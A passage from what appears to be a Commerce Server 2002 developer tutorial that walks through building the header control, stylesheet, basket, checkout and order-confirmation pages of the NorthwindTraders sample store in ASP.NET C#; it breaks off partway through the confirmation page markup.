  1. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Web.config window, in the Solution Explorer - NorthwindTraders window, right-click NorthwindTraders, point to Add, and then click Add Web User Control.
  2. In the Add new Item - NorthwindTraders dialog box, in the Name box, type _header.ascx, and then click Open.
  3. In the NorthwindTraders – Microsoft Visual C# .NET [design] – _header.ascx window, in the lower-left corner, click HTML, and then add the following code:
    <%@ Control Language="c#" AutoEventWireup="false" Codebehind="_header.ascx.cs" Inherits="NorthwindTraders.__header" TargetSchema="http://schemas.microsoft.com/intellisense/ie5"%>
   <meta name="vs_showGrid" content="True">
<table width="650" cellpadding="0" cellspacing="0" border="0" background="images/header_back.jpg" style="WIDTH: 650px; HEIGHT: 110px">
   <tr>
      <td height="110" width="650" valign="top" style="WIDTH: 650px">
         <img src="images/header_banner.gif" width="208" height="110" border="0">
         <asp:HyperLink id="homeLink" runat="server"></asp:HyperLink>&nbsp;&nbsp;
         <asp:HyperLink id="loginLink" runat="server"></asp:HyperLink>&nbsp;&nbsp;
         <asp:HyperLink id="basketLink" runat="server"></asp:HyperLink>&nbsp;&nbsp;
         <asp:HyperLink id="userRegLink" runat="server"></asp:HyperLink>
      </td>
      <td height="110" width="30"></td>
      <td><IMG height="110" src="images/right.gif" width="30" border="0"></td>
   </tr>
</table>

To insert Commerce Server classes

  1. In the NorthwindTraders – Microsoft Visual C# .NET [design] – _header.ascx window, in the Solution Explorer - NorthwindTraders window, click View Code.
  2. In the NorthwindTraders – Microsoft Visual C# .NET [design] – _header.ascx.aspx.cs window, in the using section, add the following code:
    using Microsoft.CommerceServer.Runtime;
using Microsoft.CommerceServer.Runtime.Orders;

To insert class-wide variable declarations

Notes

  • Visual Studio .NET automatically inserts these declarations when the HyperLink control is placed onto the form.
  • The Project Creation Wizard creates container controls with matching names (case-sensitive) including the IDs of the <asp:HyperLink> controls.
  • You can also manually link HTML elements to their Visual Studio .NET container variants and process them programmatically (the runat=”server” tag must be added to the HTML element).
  1. In the NorthwindTraders – Microsoft Visual C# .NET [design] – _header.ascx.cs window, in the public abstract class section, add the following code:
    protected System.Web.UI.WebControls.HyperLink basketLink;
protected System.Web.UI.WebControls.HyperLink homeLink;
protected System.Web.UI.WebControls.HyperLink userRegLink;
protected System.Web.UI.WebControls.HyperLink loginLink;

To update the _header.ascx.cs file

  1. In the NorthwindTraders – Microsoft Visual C# .NET [design] – _header.ascx window, in the Solution Explorer - NorthwindTraders window, click View Code.
  2. In the NorthwindTraders – Microsoft Visual C# .NET [design] – header.ascx.aspx.cs window, in the Page_Load event handler, add the following code:
             homeLink.Text = "Home";
         homeLink.NavigateUrl = "default.aspx";

         if (CommerceContext.Current.AuthenticationInfo.IsAuthenticated())
         {
            loginLink.Text = "Logoff";
            loginLink.NavigateUrl = "logoff.aspx";
            userRegLink.Visible = false;
            basketLink.Visible=true;
            basketLink.Text = "Basket";
            basketLink.NavigateUrl = "Basket.aspx";
         }
         else
         {
            loginLink.Text = "Login";
            loginLink.NavigateUrl = "login.aspx";
            userRegLink.Text = "Registration";
            userRegLink.NavigateUrl = "UserRegistration.aspx";
            userRegLink.Visible = true;
            basketLink.Visible = false;
         }

To add the stylesheet to the site

  1. In the NorthwindTraders – Microsoft Visual C# .NET [design] – header.ascx.aspx.cs window, in the Solution Explorer - NorthwindTraders window, right-click NorthwindTraders, point to Add, and then click Add HTML Page.
  2. In the Add New Item – NorthwindTraders dialog box, do the following:
    Use this | To do this
    Templates | Select Style Sheet from the list.
    Name | Type stylesheet.css.
  3. Click Open.
  4. In the NorthwindTraders – Microsoft Visual C# .NET [design] – StyleSeet.css window, at the end of document (after the Body element and the curly brackets), add the following code:
    .nrmText
{
    COLOR: #000000;
    FONT-FAMILY: Verdana, Arial, Helvetica;
    FONT-SIZE: 11px;
    FONT-WEIGHT: normal;
    LINE-HEIGHT: normal;
    MARGIN-TOP: 5px
}
A
{
    COLOR: #3c7144;
    FONT-FAMILY: Verdana, Arial, Helvetica;
    FONT-SIZE: 11px;
    FONT-WEIGHT: normal;
    TEXT-DECORATION: none
}
A:hover
{
    COLOR: #ff7e00;
    FONT-FAMILY: Verdana, Arial, Helvetica;
    FONT-SIZE: 11px;
    FONT-WEIGHT: normal;
    TEXT-DECORATION: underline
}
.indentText
{
    COLOR: #ffffff;
    FONT-FAMILY: Verdana, Arial, Helvetica;
    FONT-SIZE: 11px;
    FONT-WEIGHT: normal;
    PADDING-LEFT: 10px;
    PADDING-TOP: 5px
}
.bodyText
{
    COLOR: #3c7144;
    FONT-FAMILY: Verdana;
    FONT-SIZE: 11px;
    FONT-WEIGHT: normal;
    PADDING-LEFT: 10px;
    PADDING-RIGHT: 10px
}
.smallText
{
    COLOR: #3c7144;
    FONT-FAMILY: Verdana, Arial, Helvetica;
    FONT-SIZE: 9px;
    FONT-WEIGHT: normal
}

To add the stylesheet throughout the site

  1. In the NorthwindTraders – Microsoft Visual C# .NET [design] – header.ascx.cs window, in the Solution Explorer - NorthwindTraders window, double-click the Default.aspx file.
  2. In the NorthwindTraders – Microsoft Visual C# .NET [design] – default.aspx window, in the lower-left corner, click HTML, and then add the following code between the <HEAD> and </HEAD> tags:
    <link rel="stylesheet" type="text/css" href="stylesheet.css">
  3. Repeat steps 1 and 2 for the following files:
    • Login.aspx
    • Logoff.aspx
    • UserRegistration.aspx
    • ProductList.aspx
    • ProductDetail.aspx
    • Basket.aspx
    • Checkout.aspx
    • ConfirmOrder.aspx

To add the header to all of the pages on the site

  1. In the NorthwindTraders – Microsoft Visual C# .NET [design] – default.ascx window, in the Solution Explorer - NorthwindTraders window, double-click the Default.aspx file.
  2. In the NorthwindTraders – Microsoft Visual C# .NET [design] – default.ascx window, in the lower-left corner, click HTML, and then add the following code at the very top of the page:
    <%@ Register TagPrefix="ucx" TagName="_header" Src="_header.ascx" %>
  3. Add the following code in the fist line after the <BODY> tag:
    <ucx:_header id=_header1 runat="server"></ucx:_header>
  4. Repeat steps 1 through 3 for the following files:
    • Login.aspx
    • Logoff.aspx
    • UserRegistration.aspx
    • ProductList.aspx
    • ProductDetail.aspx
    • Basket.aspx
    • Checkout.aspx
    • ConfirmOrder.aspx


Step 2: Implement the AddtoBasket.aspx Page

The AddtoBasket.aspx page adds a selected product to the users shopping basket (cart) and then redirects users to the Basket.aspx page.

In this step, we will implement the AddtoBasket.aspx page to add selected products to the basket and then redirect the user to the basket page.

  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, and then click Microsoft Visual Studio .NET.
  2. In the Microsoft Development Environment [design] – Start Page screen, click Open Project.
  3. In the Open Project dialog box, select the NorthwindTraders project, and then click Open.
  4. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Default.aspx window, in the Solution Explorer window, right-click NorthwindTraders, point to Add, and then click Add Web Form.
  5. In the Add new Item - NorthwindTraders dialog box, in the Name box, type AddToBasket.aspx, and then click Open.
  6. In the NorthwindTraders – Microsoft Visual C# .NET [design] – AddToBasket.aspx window, in the Solution Explorer window, click View Code.
  7. Add the following references in the using section:
    using Microsoft.CommerceServer.Runtime;
using Microsoft.CommerceServer.Runtime.Profiles;
using Microsoft.CommerceServer.Runtime.Orders;
using Microsoft.CommerceServer.Runtime.Pipelines;
using Microsoft.CommerceServer.Runtime.Catalog;
using Microsoft.CommerceServer.Runtime.Diagnostics;
using Microsoft.CommerceServer.Runtime.Caching;
  8. Add the following code to the Page_Load() event handler.
             // Receive the item to add to the basket from the ProductID
         // (and SKU if the product has variants).
         // Validate login and redirect if user if not.
         Microsoft.CommerceServer.Runtime.Orders.Basket basket;
         CommerceContext ctx = CommerceContext.Current;
         Profile userProfile = null;
         bool isLoggedOn = ctx.AuthenticationInfo.IsAuthenticated();

         // This simple process does not carry the product that the
         // user was attempting to enter.  This would be good to do
         // in a real site...

         if(!isLoggedOn) {Response.Redirect("login.aspx");}

         // Extract the userID to get the basket
         ProfileContext profContext = ctx.ProfileSystem;
         string userId = ctx.UserID;
         basket = CommerceContext.Current.OrderSystem.GetBasket(new Guid(userId));

         userProfile = profContext.GetProfile(ctx.UserID,"UserObject");
         //Extract the form variables that identify the product
         //These will be set as line item properties

         //Create a new line item
         LineItem li = new LineItem();

         li.ProductID = Request.Params["ProductID"];

         // Set the SKU if it is appropriate.  If the product
         // in question does not have variations, we can skip
         // this step.
         if (! ((Request.Params["SKU"] == null) ||
            (Request.Params["SKU"] == "")))
         {
            li.ProductVariantID = Request.Params["SKU"];
         }
         li.ProductCatalog = "BuildingMaterials1033";
         li.Quantity = 1;

         OrderContext oc = CommerceContext.Current.OrderSystem;
         OrderForm of;

         if (basket.OrderForms.Count == 0)
         {
            basket.OrderForms.Add(new OrderForm("default"));
         }
         of = basket.OrderForms["default"];
         of.LineItems.Add(li);
         basket.Save();

         Response.Redirect("basket.aspx");


Step 3: Implement the Basket.aspx Page

The Basket.aspx page implements a custom Repeater that iterates through the rows in the basket to display them on the screen.

In this step, you will implement a basket page to display the products in a user’s basket, and provide the functionality of deleting individual product items.

In this step you will do the following:

  1. Create the Basket.aspx page and insert the header information.
  2. Add a table to the page to organize the data displayed to the user.
  3. Insert a Repeater control onto the form and create an item template for it.
  4. Insert Commerce Server external reference information.
  5. Add variable declarations for to the HTML file.
  6. Add code to the Page_Load() handler.
  7. Add command handler for the remove method

To create the Basket.aspx page and insert header information

To add a table to the Basket.aspx page

To insert the Repeater control

To insert the Commerce Server classes

To add variable declarations for elements added to the HTML file

To add code to the Page_Load() event hander

To add a command handler for the remove method

To create the Basket.aspx page and insert header information

  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, and then click Microsoft Visual Studio .NET.
  2. In the Microsoft Development Environment [design] – Start Page screen, click Open Project.
  3. In the Open Project dialog box, select the NorthwindTraders project, and then click Open.
  4. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Default.aspx window, in the Solution Explorer window, right-click NorthwindTraders, point to Add, and then click Add Web Form.
  5. In the Add new Item - NorthwindTraders dialog box, in the Name box, type Basket.aspx, and then click Open.
  6. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Basket.aspx window, in the lower-left corner, click HTML, and then add the following code at the very top of the page, below the <%@ Page> but before the <!DOCTYPE> tags:
    <%@ Import Namespace="Microsoft.CommerceServer.Runtime" %>
<%@ Import Namespace="Microsoft.CommerceServer.Runtime.Orders" %>

To add a table to the Basket.aspx page

  1. Add the following HTML code to the page:
       <asp:Label id="PageSubTitle" runat="server"/>
   <table width="80%" cellpadding="1" cellspacing="0" border="0">
      <tr valign="top" bgcolor="#000000">
         <td align="center" id="Quantity" width="10%" runat="server"
            style="COLOR: #ffffff"></td>
         <td align="center" id="Name" width="60%" runat="server"
            style="COLOR: #ffffff"></td>
         <td align="center" id="Price" width="10%" runat="server"
            style="COLOR: #ffffff"></td>
         <td align="center" id="DiscountedPrice" width="10%" runat="server"
            style="COLOR: #ffffff"></td>
         <td >&nbsp;<br></td>
      </tr>
   </table>

To insert the Repeater control

  1. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Basket.aspx window, in the lower-left corner, click Design.
  2. Click View on the toolbar, and then click Toolbox.
  3. In the Toolbox window, in the Web Forms box, drag and drop a Repeater control onto the form.
  4. In the Properties window, make sure you the control that you just created is selected, and then in the ID box, type OrderListing.
  5. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Basket.aspx window, in the lower-left corner, click HTML.
  6. Move the <asp:Repeater> and </asp:Repeater> tags between the </tr> and </table> tags.
  7. Insert the following code (as a sub-element) between the <asp:Repeater> and </asp:Repeater> tags:
    <ItemTemplate>
   <tr>
   <td colspan=5>
      <%# DataBinder.Eval(Container.DataItem, "Name") %>
   </td>
   </tr>
   <asp:Repeater id="BasketListing"
      DataSource=’<%#DataBinder.Eval(Container.DataItem, "LineItems")%>’
      OnItemCommand="BasketListing_ItemCommand" runat="server">
   <ItemTemplate>
   <tr>
   <td align="left" width="10%" runat="server" ID="Td1">
      <asp:Label ID="QuantityContent" Runat="server">
            <%# ((LineItem)Container.DataItem)["Quantity"] %>
      </asp:Label>
   </td>
   <td align="left" width="60%" runat="server" ID="Td2">
      <asp:Label ID="ProductName" Runat="server">
         <%# ((LineItem)Container.DataItem)["_product_Name"] %>
      </asp:Label>
      <br />
      <asp:Label ID="Description" Runat="server">
         <%# ((LineItem)Container.DataItem)["_product_Description"] %>
      </asp:Label>
   </td>
   <td valign="right" width="10%" runat="server" ID="Td3">
      <asp:Label ID="PriceContent" Font-Name="verdana" Runat="server">
         <%# Decimal.Parse(((LineItem)Container.DataItem)["_product_cy_list_price"].ToString()).ToString("c") %>
      </asp:Label>
   </td>
   <td valign="right" width="10%" runat="server" ID="Td4">
      <asp:Label ID="DiscountedPriceContent" Font-Name="verdana" Runat="server">
         <%# Decimal.Parse(((LineItem)Container.DataItem)["_cy_oadjust_adjustedprice"].ToString()).ToString("c") %>
      </asp:Label>
   </td>
   <td valign="center">
      <asp:LinkButton id="RemoveBtn"
      CommandName='<%# ((LineItem)Container.DataItem)["product_id"].ToString() %>'
      CommandArgument='<%# ((LineItem)Container.DataItem)["product_variant_id"].ToString() %>' runat="server">
               Remove
      </asp:LinkButton>
   </td>
   </tr>
   </ItemTemplate>
   <SeparatorTemplate>
   <tr>
   <td colspan="5">
      <hr noshade runat="server" ID="Hr1"/>
   </td>
   </tr>
   </SeparatorTemplate>
   </asp:Repeater>
   <FooterTemplate>
      <tr>
      <td colspan="5" align="right">
         <a href='checkout.aspx'>
         Checkout
         </a>
      </td>
      </tr>
   </FooterTemplate>
</ItemTemplate>

To insert the Commerce Server classes

  1. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Basket.aspx window, in the Solution Explorer window, click View Code.
  2. Add the following references in the using section:
    using Microsoft.CommerceServer.Runtime;
using Microsoft.CommerceServer.Runtime.Profiles;
using Microsoft.CommerceServer.Runtime.Orders;
using Microsoft.CommerceServer.Runtime.Pipelines;
using Microsoft.CommerceServer.Runtime.Catalog;
using Microsoft.CommerceServer.Runtime.Diagnostics;
using Microsoft.CommerceServer.Runtime.Caching;

To add variable declarations for elements added to the HTML file

Note

  • The variables you declare here provide access to the controls added to the HTML view in one of the previous steps.
  1. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Basket.aspx.cs window, in the public class section, add the following code:
    protected System.Web.UI.HtmlControls.HtmlTableCell Quantity;
protected System.Web.UI.HtmlControls.HtmlTableCell Name;
protected System.Web.UI.HtmlControls.HtmlTableCell DiscountedPrice;
protected System.Web.UI.WebControls.Repeater BasketListing;

OrderContext    ordersys = CommerceContext.Current.OrderSystem;
Microsoft.CommerceServer.Runtime.Orders.Basket basket = null;

To add code to the Page_Load() event hander

  1. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Basket.aspx.cs window, in the Page_Load() event handler, add the following code:
             // Render the basket
         // Validate login and redirect if user is not logged in
         if(!IsPostBack)
         {
            CommerceContext ctx = CommerceContext.Current;
            Profile userProfile = null;
            bool isLoggedOn = ctx.AuthenticationInfo.IsAuthenticated();

            // This simple process does not carry the product that the
            // user was attempting to enter.  This would be good to do
            // in a real site...

            if(!isLoggedOn)
            {
               Response.Redirect("login.aspx");
            }

            // Extract the userID to get the basket
            ProfileContext profContext = ctx.ProfileSystem;
            string userId = ctx.UserID;

            basket = ordersys.GetBasket(new Guid(userId));

            // If there isn't anything in the basket, then redirect
            // to the default.aspx page.
            if(!(basket.OrderForms.Count > 0))
            {
               Response.Redirect("default.aspx");
            }

            // Get the user profile
            userProfile = profContext.GetProfile(ctx.UserID,"UserObject");

            PipelineInfo info = new PipelineInfo("basket");

            info["CacheName"] = "discounts";
            info.Profiles.Add("User", CommerceContext.Current.UserProfile);
            basket.RunPipeline(info);

            string orderFormName = "default";
            if(null != basket.OrderForms[orderFormName]
               && 0 < basket.OrderForms[orderFormName].LineItems.Count)
            {
               OrderListing.DataSource = basket.OrderForms;
               OrderListing.DataBind();
            }
            basket.Save();
         }

To add a command handler for the remove method

Note

  • These steps add parameters for the remove command call inserted earlier in the HTML view (for the BasketListing Repeater OnItemCommand="BasketListing_ItemCommand" in the opening and the <asp:LinkButton id="RemoveBtn"> tags).
  1. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Basket.aspx.cs window, add the following code:
    public void BasketListing_ItemCommand(object source, RepeaterCommandEventArgs args)
{
   string orderFormName = "default";
   string product_variant_id = (args.CommandArgument).ToString();
   string product_id = (args.CommandName).ToString();
   int index;

   basket = ordersys.GetBasket(new Guid(CommerceContext.Current.UserID));
   if ((product_variant_id != null) && (product_variant_id != ""))
   {
      index = basket.OrderForms[orderFormName].LineItems.IndexOf("BuildingMaterials1033", product_id, product_variant_id);
   }
   else
   {
      index = basket.OrderForms[orderFormName].LineItems.IndexOf("BuildingMaterials1033", product_id, null);
   }
   basket.OrderForms[orderFormName].LineItems.Remove(index);
   basket.Save();

   Response.Redirect("basket.aspx");
}


Step 4: Implement the Checkout.aspx Page

The Checkout.aspx page processes orders and sets shipping and billing information for orders to be successfully post processed on the confirmation page.

In this step you will implement the Checkout.aspx page by doing the following:

  1. Create the Checkout.aspx page.
  2. Insert controls on the Checkout.aspx page.
  3. Insert class-wide variables.
  4. Add code to the Page_Load event handler.
  5. Add code to the Checkout_Click button handler.

To create the Checkout.asp page

To insert controls on the Checkout.aspx page

To insert class-wide variables

To add code to the Page_Load() event handler

To add code to the Checkout_Click() button handler

To create the Checkout.asp page

  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, and then click Microsoft Visual Studio .NET.
  2. In the Microsoft Development Environment [design] – Start Page screen, click Open Project.
  3. In the Open Project dialog box, select the NorthwindTraders project, and then click Open.
  4. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Default.aspx window, in the Solution Explorer window, right-click NorthwindTraders, point to Add, and then click Add Web Form.
  5. In the Add new Item - NorthwindTraders dialog box, in the Name box, type Checkout.aspx, and then click Open.
  6. In the Solution Explorer window, click View Code.
  7. Add the following references in the using section:
    using Microsoft.CommerceServer.Runtime;
using Microsoft.CommerceServer.Runtime.Profiles;
using Microsoft.CommerceServer.Runtime.Orders;
using Microsoft.CommerceServer.Runtime.Pipelines;
using Microsoft.CommerceServer.Runtime.Catalog;
using Microsoft.CommerceServer.Runtime.Diagnostics;
using Microsoft.CommerceServer.Runtime.Caching;

To insert controls on the Checkout.aspx page

  1. In the Solution Explorer window, click View Designer.
  2. Click View on the toolbar, and then click Toolbox.
  3. In the Toolbox window, in the Web Forms, drag and drop a Label control onto the form.
  4. In the Properties window, make sure you the control that you just created is selected, and then in the ID box, type PageSubTitle.
  5. In the Toolbox window, in the Web Forms, drag and drop another Label control onto the form.
  6. In the Properties window, make sure the control that you just created is selected, and then do the following:
    Use this | To do this
    ID | Type Header.
    Text | Type Address Name.
  7. In the Toolbox window, in the Web Forms, drag and drop another Label control onto the form.
  8. In the Properties window, make sure the control that you just created is selected, and then do the following:
    Use this | To do this
    ID | Type FirstNameHeader.
    Text | Type First Name.
  9. In the Toolbox window, in the Web Forms, drag and drop another Label control onto the form.
  10. In the Properties window, make sure the control that you just created is selected, and then do the following:
    Use this | To do this
    ID | Type LastNameHeader.
    Text | Type Last Name.
  11. In the Toolbox window, in the Web Forms, drag and drop another Label control onto the form.
  12. In the Properties window, make sure the control that you just created is selected, and then do the following:
    Use this | To do this
    ID | Type LineOneHeader.
    Text | Type Line One.
  13. In the Toolbox window, in the Web Forms, drag and drop another Label control onto the form.
  14. In the Properties window, make sure the control that you just created is selected, and then do the following:
    Use this | To do this
    ID | Type LineTwoHeader.
    Text | Type Line Two.
  15. In the Toolbox window, in the Web Forms, drag and drop another Label control onto the form.
  16. In the Properties window, make sure the control that you just created is selected, and then do the following:
    Use this | To do this
    ID | Type CityHeader.
    Text | Type City.
  17. In the Toolbox window, in the Web Forms, drag and drop another Label control onto the form.
  18. In the Properties window, make sure the control that you just created is selected, and then do the following:
    Use this | To do this
    ID | Type StateHeader.
    Text | Type State.
  19. In the Toolbox window, in the Web Forms, drag and drop another Label control onto the form.
  20. In the Properties window, make sure the control that you just created is selected, and then do the following:
    Use this | To do this
    ID | Type ZipcodeHeader.
    Text | Type Zip Code.
  21. In the Toolbox window, in the Web Forms, drag and drop another Label control onto the form.
  22. In the Properties window, make sure the control that you just created is selected, and then do the following:
    Use this | To do this
    ID | Type CardNameLable.
    Text | Type Card Name.
  23. In the Toolbox window, in the Web Forms, drag and drop another Label control onto the form.
  24. In the Properties window, make sure the control that you just created is selected, and then do the following:
    Use this | To do this
    ID | Type CardTypeLabel.
    Text | Type Card Type.
  25. In the Toolbox window, in the Web Forms, drag and drop another Label control onto the form.
  26. In the Properties window, make sure the control that you just created is selected, and then do the following:
    Use this | To do this
    ID | Type CardNumberLabel.
    Text | Type Card Number.
  27. In the Toolbox window, in the Web Forms, drag and drop another Label control onto the form.
  28. In the Properties window, make sure the control that you just created is selected, and then do the following:
    Use this | To do this
    ID | Type ExpiryMonthLabel.
    Text | Type Exp Month.
  29. In the Toolbox window, in the Web Forms, drag and drop another Label control onto the form.
  30. In the Properties window, make sure the control that you just created is selected, and then do the following:
    Use this | To do this
    ID | Type ExpiryYearLabel.
    Text | Type Exp Year.
  31. In the Toolbox window, in the Web Forms, drag and drop another Label control onto the form.
  32. In the Properties window, make sure the control that you just created is selected, and then do the following:
    Use this | To do this
    ID | Type ShippingMethodLabel.
    Text | Type Shipping Method.

    Note

    • Add the following TextBox controls next to their corresponding Label controls.
  33. In the Toolbox window, in the Web Forms, drag and drop a TextBox control onto the form.
  34. In the Properties window, make sure that the control that you just created is selected, and then in the ID box, type AddressName.
  35. In the Toolbox window, in the Web Forms, drag and drop another TextBox control onto the form.
  36. In the Properties window, make sure that the control that you just created is selected, and then in the ID box, type FirstName.
  37. In the Toolbox window, in the Web Forms, drag and drop another TextBox control onto the form.
  38. In the Properties window, make sure that the control that you just created is selected, and then in the ID box, type LastName.
  39. In the Toolbox window, in the Web Forms, drag and drop another TextBox control onto the form.
  40. In the Properties window, make sure that the control that you just created is selected, and then in the ID box, type LineOne.
  41. In the Toolbox window, in the Web Forms, drag and drop another TextBox control onto the form.
  42. In the Properties window, make sure that the control that you just created is selected, and then in the ID box, type LineTwo.
  43. In the Toolbox window, in the Web Forms, drag and drop another TextBox control onto the form.
  44. In the Properties window, make sure that the control that you just created is selected, and then in the ID box, type City.
  45. In the Toolbox window, in the Web Forms, drag and drop another TextBox control onto the form.
  46. In the Properties window, make sure that the control that you just created is selected, and then in the ID box, type State.
  47. In the Toolbox window, in the Web Forms, drag and drop another TextBox control onto the form.
  48. In the Properties window, make sure that the control that you just created is selected, and then in the ID box, type Zipcode.
  49. In the Toolbox window, in the Web Forms, drag and drop another TextBox control onto the form.
  50. In the Properties window, make sure that the control that you just created is selected, and then in the ID box, type CardName.
  51. In the Toolbox window, in the Web Forms, drag and drop another TextBox control onto the form.
  52. In the Properties window, make sure the control that you just created is selected, and then do the following:
    Use this | To do this
    ID | Type CardNumber.
    Text | Type 4111-1111-1111-1111.
  53. In the Toolbox window, in the Web Forms, drag and drop another TextBox control onto the form.
  54. In the Properties window, make sure the control that you just created is selected, and then do the following:
    Use this | To do this
    ID | Type ExpiryMonth.
    Text | Type 10.
  55. In the Toolbox window, in the Web Forms, drag and drop another TextBox control onto the form.
  56. In the Properties window, make sure the control that you just created is selected, and then do the following:
    Use this | To do this
    ID | Type ExpiryYear.
    Text | Type 2005.
  57. In the Toolbox window, in the Web Forms, drag and drop a DropDownList control onto the form.
  58. In the Properties window, make sure the control that you just created is selected, and then do the following:
    Use this | To do this
    ID | Type CardList.
    Items | Click […].
  59. In the ListItem Collection Editor dialog box, click Add.
  60. In the ListItem Properties section, do the following:
    Use this | To do this
    Selected | Select True from the drop-down list.
    Text | Type Visa.
    Value | Type visa.
  61. Click OK.
  62. In the Toolbox window, in the Web Forms, drag and drop another DropDownList control onto the form.
  63. In the Properties window, make sure the control that you just created is selected, and then in the ID box, type shippingMethodList. (the values for this drop-down list will be populated programmatically using the site terms for shipping).
  64. In the Toolbox window, in the Web Forms, drag and drop a Button control onto the form.
  65. In the Properties window, make sure the control that you just created is selected, and then do the following:
    Use this | To do this
    ID | Type CheckoutBtn.
    Text | Type Checkout.

To insert class-wide variables

  1. In the Solution Explorer window, click View Code.
  2. In the public class section, add the following code:
    OrderContext    ordersys = CommerceContext.Current.OrderSystem;
Microsoft.CommerceServer.Runtime.Orders.Basket basket = null;

To add code to the Page_Load() event handler

  • In the Page_Load() event handler, add the following code:
    if (!IsPostBack)
{
string[] columns= {"shipping_method_id","shipping_method_name"};
   DataSet ds = ordersys.GetShippingMethods(null,null,columns);
   shippingMethodList.DataTextField="shipping_method_name";
   shippingMethodList.DataValueField="shipping_method_id";
   shippingMethodList.DataSource=ds;
   shippingMethodList.DataBind();

}

To add code to the Checkout_Click() button handler

  1. In the Solution Explorer window, click View Code.
  2. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Checkout.aspx window, double-click the Checkout button.
  3. In the CheckoutBtn_Click() button handler, add the following code:
    protected void Checkout_Click(object source, EventArgs args)
{
   if(IsValid)
   {
      //Microsoft.CommerceServer.Runtime.Orders.Basket basket;
      CommerceContext ctx = CommerceContext.Current;
      Profile userProfile = null;
      bool isLoggedOn = ctx.AuthenticationInfo.IsAuthenticated();

      // This simple process does not carry the product that the
      // user was attempting to enter.  This would be good to do
      // in a real site...

      if(!isLoggedOn)
      {
         Response.Redirect("login.aspx");
      }

      // Extract the userID to get the basket
      ProfileContext profContext = ctx.ProfileSystem;
      string userId = ctx.UserID;

      basket = ordersys.GetBasket(new Guid(userId));

      // If there isn't anything in the basket, then redirect to the
      // default.aspx page.
      if(!(basket.OrderForms.Count > 0))
      {
         Response.Redirect("default.aspx");
      }
      //Get the user profile
      userProfile = profContext.GetProfile(ctx.UserID,"UserObject");

      PipelineInfo info = new PipelineInfo("basket");

      info["CacheName"] = "discounts";
      info.Profiles.Add("User", CommerceContext.Current.UserProfile);

      string addrID = "";

      OrderAddress addr = new OrderAddress(AddressName.Text, AddressName.Text);

      addr.ID         = basket.Addresses.Count.ToString();
      addr.Name       = AddressName.Text;
      addr.FirstName  = FirstName.Text;
      addr.LastName   = LastName.Text;
      addr.Line1      = LineOne.Text;
      addr.Line2      = LineTwo.Text;
      addr.City       = City.Text;
      addr.RegionCode = State.Text;
      addr.PostalCode = Zipcode.Text;
      addr.CountryName = "US";
      basket.Addresses.Add(addr);

      // We are only allowing one address, so we
      // are just using the foreach enumerator
      // to crack the addresses collection and find
      // the first (only) address to set our billing
      // & shipping info.
      foreach(OrderAddress addr2 in basket.Addresses)
      {
         basket.SetBillingAddress(addr2.ID);
         basket.SetShippingAddress(addr2.ID);
         addrID = addr2.ID;
         break;
      }
      basket.SetPropertyOnOrderForms("payment_type", "credit_card");
      basket.SetPropertyOnOrderForms("cc_name", CardName.Text);
      basket.SetPropertyOnOrderForms("cc_type",                                     CardList.Items[CardList.SelectedIndex].Value);
            basket.SetPropertyOnOrderForms("_cc_number", CardNumber.Text);
      basket.SetPropertyOnOrderForms("_cc_expmonth", ExpiryMonth.Text);
      basket.SetPropertyOnOrderForms("_cc_expyear", ExpiryYear.Text);

      for (int i=0; i< basket.OrderForms["default"].LineItems.Count; i++)
      {

         LineItem item = basket.OrderForms["default"].LineItems[i];
         item.ShippingMethodID = "{" + shippingMethodList.SelectedItem.Value + "}";
         item.ShippingMethodName = shippingMethodList.SelectedItem.Text;
         item.ShippingAddress  = addrID;
      }
      basket.Save();

      Response.Redirect("OrderConfirmation.aspx");
   }
}


Step 5: Implement the OrderConfirmation.aspx Page

The OrderConfirmation.aspx page provides order confirmation. After a user confirms an order, this page submits the order information for post-processing by Commerce Server 2002.

In this step you will build and implement the order confirmation page by doing the folloiwng:

  1. Create the OrderConfirmation.aspx page and insert the header.
  2. Add a table to the page to organize the data displayed to the user.
  3. Insert a Repeater control onto the form and create an item template for it.
  4. Insert controls on the OrderConfirmation.aspx page.
  5. Insert Commerce Server classes.
  6. Insert class-wide variables.
  7. Add code to the Page_Load event handler.
  8. Add code to the confirmOrderBtn_click() event handler.

To create the OrderConfirmation.aspx page and insert the header

To add a table to the OrderConfirmation.aspx page

To insert the repeater control

To insert controls on the OrderConfirmation.aspx page

To insert Commerce Server classes

To insert class-wide variables

To add code to the Page_Load() event handler

To add code to the confirmOrderBtn_Click() event handler

To create the OrderConfirmation.aspx page and insert the header

  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, and then click Microsoft Visual Studio .NET.
  2. In the Microsoft Development Environment [design] – Start Page screen, click Open Project.
  3. In the Open Project dialog box, select the NorthwindTraders project, and then click Open.
  4. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Default.aspx window, in the Solution Explorer window, right-click NorthwindTraders, point to Add, and then click Add Web Form.
  5. In the Add new Item - NorthwindTraders dialog box, in the Name box, type OrderConfirmation.aspx, and then click Open.
  6. In the NorthwindTraders – Microsoft Visual C# .NET [design] – OrderConfirmation.aspx window, in the lower-left corner, click HTML, and then add the following code at the very top of the page, below the <%@ Page> but before the <!DOCTYPE> tags:
    <%@ Import Namespace="Microsoft.CommerceServer.Runtime" %>
<%@ Import Namespace="Microsoft.CommerceServer.Runtime.Orders" %>

To add a table to the OrderConfirmation.aspx page

  • Add the following HTML code in to the page:
    <asp:Label id="PageSubTitle" runat="server"/>
   <table width="80%" cellpadding="1" cellspacing="0" border="0">
      <tr valign="top" bgcolor="#000000">
         <td align="center" id="Quantity" width="10%" runat="server"
            style="COLOR: #ffffff"></td>
         <td align="center" id="Name" width="60%" runat="server"
            style="COLOR: #ffffff"></td>
         <td align="center" id="Price" width="10%" runat="server"
            style="COLOR: #ffffff"></td>
         <td align="center" id="DiscountedPrice" width="10%"  runat="server"
            style="COLOR: #ffffff"></td>
